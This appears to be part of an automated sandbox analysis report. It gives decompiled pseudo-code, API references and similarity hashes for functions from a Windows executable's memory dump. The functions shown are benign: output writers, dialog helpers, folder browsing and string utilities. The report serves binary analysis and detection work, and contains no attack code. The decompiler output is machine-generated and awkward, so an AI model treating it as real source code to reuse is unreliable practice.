				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

0x00405e0a
0x00405e12
0x00405e18
0x00405e1c
0x00405e1e
0x00405e1e
0x00405e24
0x00405e2c
0x00405e2e
0x00405e44
0x00405e49
0x00405e4c
0x00405e4d
0x00405e68
0x00405e74
0x00405e74
0x00000000
0x00405e84
0x00405e8c

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

winsta.dll, xrefs: 00409A51
WinStationGetProcessSid, xrefs: 00409A62
Y@, xrefs: 00409A46

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040588E, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040588E(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L0040B26C();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L0040B272();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x0040588e
0x0040588f
0x0040588f
0x00405892
0x00405896
0x004058a9
0x004058a9
0x004058ad
0x004058af
0x004058b5
0x004058b6
0x004058b9
0x004058c2
0x004058c3
0x004058c8
0x004058d2
0x004058d4
0x004058d9
0x004058e0
0x004058ea
0x004058ec
0x004058ed
0x004058f2
0x004058f9
0x00405902
0x00405898
0x00405898
0x0040589a
0x0040589c
0x004058a1
0x004058a2
0x004058a5
0x004058a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004058a7
0x00405912
0x00405915
0x0040591e
0x0040591e
0x00405907
0x0040590b

APIs

??2@YAPAXI@Z.MSVCRT ref: 004058C3
memset.MSVCRT ref: 004058D4
memcpy.MSVCRT ref: 004058E0
??3@YAXPAX@Z.MSVCRT ref: 004058ED

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction ID: bfbe461037e943c94cde62efea7f8de8011d206b5eb27adb1998baad11e83e26
Opcode Fuzzy Hash: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction Fuzzy Hash: 9F116A722046019FD328DF2DC881A2BF7E5EFD8300B248C2EE49A97395DB35E801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACFC, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040ACFC(wchar_t* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				wchar_t* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				long _v564;
				char* _t18;
				char* _t22;
				wchar_t* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040AC81;
					_v16 = __esi;
					__imp__SHBrowseForFolderW(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v564;
						__imp__SHGetPathFromIDListW(_t36, _t23);
						if(_t23 != 0) {
							_t30 = 1;
							wcscpy(__esi,  &_v564);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}

0x0040ad06
0x0040ad0a
0x0040ad0c
0x0040ad14
0x0040ad19
0x0040ad1f
0x0040ad23
0x0040ad27
0x0040ad2a
0x0040ad2d
0x0040ad34
0x0040ad3b
0x0040ad3e
0x0040ad44
0x0040ad48
0x0040ad4a
0x0040ad52
0x0040ad5a
0x0040ad64
0x0040ad65
0x0040ad6b
0x0040ad6c
0x0040ad73
0x0040ad76
0x0040ad7c
0x0040ad7c
0x0040ad7f
0x0040ad84

APIs

SHGetMalloc.SHELL32(?), ref: 0040AD0C
SHBrowseForFolderW.SHELL32(?), ref: 0040AD3E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AD52
wcscpy.MSVCRT ref: 0040AD65

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction ID: e4c3f7e47c5e56e8be22c5f757262c1ae757d72ab7f138bc7c026954c7aa5c2b
Opcode Fuzzy Hash: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction Fuzzy Hash: B011FAB5900208EFDB10EFA9D9889AEB7F8FF48300F10416AE905E7240D738DA05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

0x00404a62
0x00404a6a
0x00404a6e
0x00404a71
0x00404a74
0x00404a92
0x00404a92
0x00404a76
0x00404a76
0x00404a87
0x00404a90
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a90
0x00404aa3
0x00404aa7
0x00404aa7
0x00404a94
0x00404a98

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004072D8, Relevance: 6.0, APIs: 4, Instructions: 41
filestringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004072D8(void* __ecx, void* __eflags, void* _a4, short* _a8) {
				long _v8;
				void _v8199;
				char _v8200;

				E0040B550(0x2004, __ecx);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}

0x004072e0
0x004072f7
0x004072fd
0x00407316
0x00407342

APIs

memset.MSVCRT ref: 004072FD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00407316
strlen.MSVCRT ref: 00407328
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00407339

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction ID: b20814eff52bbcc052d034fa9df9783175f47b69a9638c3bed99c582471ba408
Opcode Fuzzy Hash: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction Fuzzy Hash: E7F0FFB740022CBEEB05A7949DC9DDB776CDB08358F0001B6B715E2192D6749E448BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC8, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DC8(void** __eax, struct HWND__* _a4) {
				int _t7;
				void** _t11;

				_t11 = __eax;
				if( *0x4101b4 == 0) {
					memcpy(0x40f5c8,  *__eax, 0x50);
					memcpy(0x40f2f8,  *(_t11 + 4), 0x2cc);
					 *0x4101b4 = 1;
					_t7 = DialogBoxParamW(GetModuleHandleW(0), 0x6b, _a4, E00408ADB, 0);
					 *0x4101b4 =  *0x4101b4 & 0x00000000;
					 *0x40f2f4 = _t7;
					return 1;
				} else {
					return 1;
				}
			}

0x00408dd0
0x00408dd2
0x00408de2
0x00408df4
0x00408e01
0x00408e1b
0x00408e21
0x00408e28
0x00408e30
0x00408dd4
0x00408dd8
0x00408dd8

APIs

memcpy.MSVCRT ref: 00408DE2
memcpy.MSVCRT ref: 00408DF4
GetModuleHandleW.KERNEL32(00000000), ref: 00408E07
DialogBoxParamW.USER32(00000000,0000006B,?,Function_00008ADB,00000000), ref: 00408E1B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction ID: 2efff09082e6186f10957894d43819ba35d003f4fc085d6afb87634920226402
Opcode Fuzzy Hash: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction Fuzzy Hash: FAF08231695310BBD7206BA4BE0AB473AA0D700B16F2484BEF241B54E0C7FA04559BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004050E1, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050E1(wchar_t* __edi, wchar_t* _a4) {
				int _t10;
				int _t12;
				void* _t23;
				wchar_t* _t24;
				signed int _t25;

				_t24 = __edi;
				_t25 = wcslen(__edi);
				_t10 = wcslen(_a4);
				_t23 = _t10 + _t25;
				if(_t23 >= 0x3ff) {
					_t12 = _t10 - _t23 + 0x3ff;
					if(_t12 > 0) {
						wcsncat(__edi + _t25 * 2, _a4, _t12);
					}
				} else {
					wcscat(__edi + _t25 * 2, _a4);
				}
				return _t24;
			}

0x004050e1
0x004050ec
0x004050ee
0x004050f5
0x004050ff
0x00405114
0x00405118
0x00405123
0x00405128
0x00405101
0x00405109
0x0040510f
0x0040512e

APIs

wcslen.MSVCRT ref: 004050E3
wcslen.MSVCRT ref: 004050EE
wcscat.MSVCRT ref: 00405109
wcsncat.MSVCRT ref: 00405123

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcslen$wcscatwcsncat
String ID:
API String ID: 291873006-0
Opcode ID: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction ID: d151cadb35ebc04527c95d650d15a6f00d765f1fde14687ca002c1c28d544fc6
Opcode Fuzzy Hash: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction Fuzzy Hash: 3CE0EC36908703AECB042625AC45C6F375DEF84368B50843FF410E6192EF3DD51556DD

Uniqueness

Uniqueness Score: -1.00%

Function 00402DDD, Relevance: 6.0, APIs: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DDD(struct HWND__* __eax, void* __ecx) {
				void* __edi;
				void* __esi;
				struct HWND__* _t11;
				struct HWND__* _t14;
				struct HWND__* _t15;
				void* _t16;

				_t14 = __eax;
				_t16 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				GetClientRect(__eax, __ecx + 0xa14);
				 *(_t16 + 0xa24) =  *(_t16 + 0xa24) & 0x00000000;
				_t15 = GetWindow(GetWindow(_t14, 5), 0);
				do {
					E00402D99(_t15, _t16);
					_t11 = GetWindow(_t15, 2);
					_t15 = _t11;
				} while (_t15 != 0);
				return _t11;
			}

0x00402de0
0x00402de2
0x00402dec
0x00402def
0x00402dfb
0x00402e0c
0x00402e0e
0x00402e0e
0x00402e16
0x00402e18
0x00402e1a
0x00402e21

APIs

GetClientRect.USER32 ref: 00402DEF
GetWindow.USER32(?,00000005), ref: 00402E07
GetWindow.USER32(00000000), ref: 00402E0A

Part of subcall function 00402D99: GetWindowRect.USER32 ref: 00402DA8
Part of subcall function 00402D99: MapWindowPoints.USER32 ref: 00402DC3

GetWindow.USER32(00000000,00000002), ref: 00402E16

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientPoints
String ID:
API String ID: 4235085887-0
Opcode ID: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction ID: 77c271d885eafffee951e9f606c1c6e1ef1898ae553cc6e200c9330dee891b18
Opcode Fuzzy Hash: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction Fuzzy Hash: B8E092722407006BE22197398DC9FABB2EC9FC9761F11053EF504E7280DBB8DC014669

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A6, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B6A6() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x41c458;
				if(_t1 != 0) {
					_push(_t1);
					L0040B272();
				}
				_t2 =  *0x41c460;
				if(_t2 != 0) {
					_push(_t2);
					L0040B272();
				}
				_t3 =  *0x41c45c;
				if(_t3 != 0) {
					_push(_t3);
					L0040B272();
				}
				_t4 =  *0x41c464;
				if(_t4 != 0) {
					_push(_t4);
					L0040B272();
					return _t4;
				}
				return _t4;
			}

0x0040b6a6
0x0040b6ad
0x0040b6af
0x0040b6b0
0x0040b6b5
0x0040b6b6
0x0040b6bd
0x0040b6bf
0x0040b6c0
0x0040b6c5
0x0040b6c6
0x0040b6cd
0x0040b6cf
0x0040b6d0
0x0040b6d5
0x0040b6d6
0x0040b6dd
0x0040b6df
0x0040b6e0
0x00000000
0x0040b6e5
0x0040b6e6

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040B6B0
??3@YAXPAX@Z.MSVCRT ref: 0040B6C0
??3@YAXPAX@Z.MSVCRT ref: 0040B6D0
??3@YAXPAX@Z.MSVCRT ref: 0040B6E0

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction ID: 3bd5cb9a150004800b4bedd87e83f43d671674f7d7a0a5890c52a9af046e0154
Opcode Fuzzy Hash: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction Fuzzy Hash: 96E00261B8820196DD249A7AACD5D6B239C9A05794314847EF804E72E5DF39D44045ED

Uniqueness

Uniqueness Score: -1.00%

Function 00407362, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407362(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				wchar_t* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				signed int _t39;
				wchar_t* _t41;
				signed int _t45;
				signed int _t48;
				wchar_t* _t53;
				wchar_t* _t62;
				void* _t66;
				intOrPtr* _t68;
				void* _t70;
				wchar_t* _t75;
				wchar_t* _t79;

				_t66 = __ebx;
				_t75 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t39 =  *( *((intOrPtr*)(_t66 + 0x30)) + _v8 * 4);
						_t68 = _a8;
						if(_t68 != _t75) {
							_t79 =  *((intOrPtr*)( *_t68))(_t39,  *((intOrPtr*)(_t66 + 0x60)));
						} else {
							_t79 =  *( *((intOrPtr*)(_t66 + 0x2d4)) + 0x10 + _t39 * 0x14);
						}
						_t41 = wcschr(_t79, 0x2c);
						_pop(_t70);
						if(_t41 != 0) {
							L8:
							_v20 = _t75;
							_v28 = _t75;
							_v36 = _t75;
							_v24 = 0x100;
							_v32 = 1;
							_v16 = 0x22;
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							while(1) {
								_t45 =  *_t79 & 0x0000ffff;
								__eflags = _t45;
								_v12 = _t45;
								_t77 =  &_v36;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t45 - 0x22;
								if(__eflags != 0) {
									_push( &_v12);
									_t48 = 1;
									__eflags = 1;
								} else {
									_push(L"\"\"");
									_t48 = _t45 | 0xffffffff;
								}
								E0040565D(_t48, _t70, _t77, __eflags);
								_t79 =  &(_t79[0]);
								__eflags = _t79;
							}
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							_t53 = _v20;
							__eflags = _t53;
							if(_t53 == 0) {
								_t53 = 0x40c4e8;
							}
							E004055D1(E00407343(_t66, _a4, _t53),  &_v36);
							_t75 = 0;
							__eflags = 0;
						} else {
							_t62 = wcschr(_t79, 0x22);
							_pop(_t70);
							if(_t62 != 0) {
								goto L8;
							} else {
								E00407343(_t66, _a4, _t79);
							}
						}
						if(_v8 <  *((intOrPtr*)(_t66 + 0x2c)) - 1) {
							E00407343(_t66, _a4, ",");
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_t66 + 0x2c)));
				}
				return E00407343(_t66, _a4, L"\r\n");
			}

0x00407362
0x00407369
0x0040736e
0x00407371
0x00407378
0x0040737e
0x00407381
0x00407386
0x0040739f
0x00407388
0x00407391
0x00407391
0x004073a4
0x004073ac
0x004073ad
0x004073cd
0x004073d0
0x004073d3
0x004073d6
0x004073e0
0x004073e7
0x004073ee
0x004073f5
0x0040741a
0x0040741a
0x0040741d
0x00407420
0x00407423
0x00407426
0x00000000
0x00000000
0x004073fc
0x00407400
0x0040740f
0x00407412
0x00407412
0x00407402
0x00407402
0x00407407
0x00407407
0x00407413
0x00407419
0x00407419
0x00407419
0x0040742f
0x00407434
0x00407437
0x00407439
0x0040743b
0x0040743b
0x0040744e
0x00407453
0x00407453
0x004073af
0x004073b2
0x004073ba
0x004073bb
0x00000000
0x004073bd
0x004073c3
0x004073c3
0x004073bb
0x0040745c
0x00407468
0x00407468
0x0040746d
0x00407473
0x0040747c
0x0040748e

APIs

wcschr.MSVCRT ref: 004073A4
wcschr.MSVCRT ref: 004073B2

Part of subcall function 0040565D: wcslen.MSVCRT ref: 00405679
Part of subcall function 0040565D: memcpy.MSVCRT ref: 0040569D

Strings

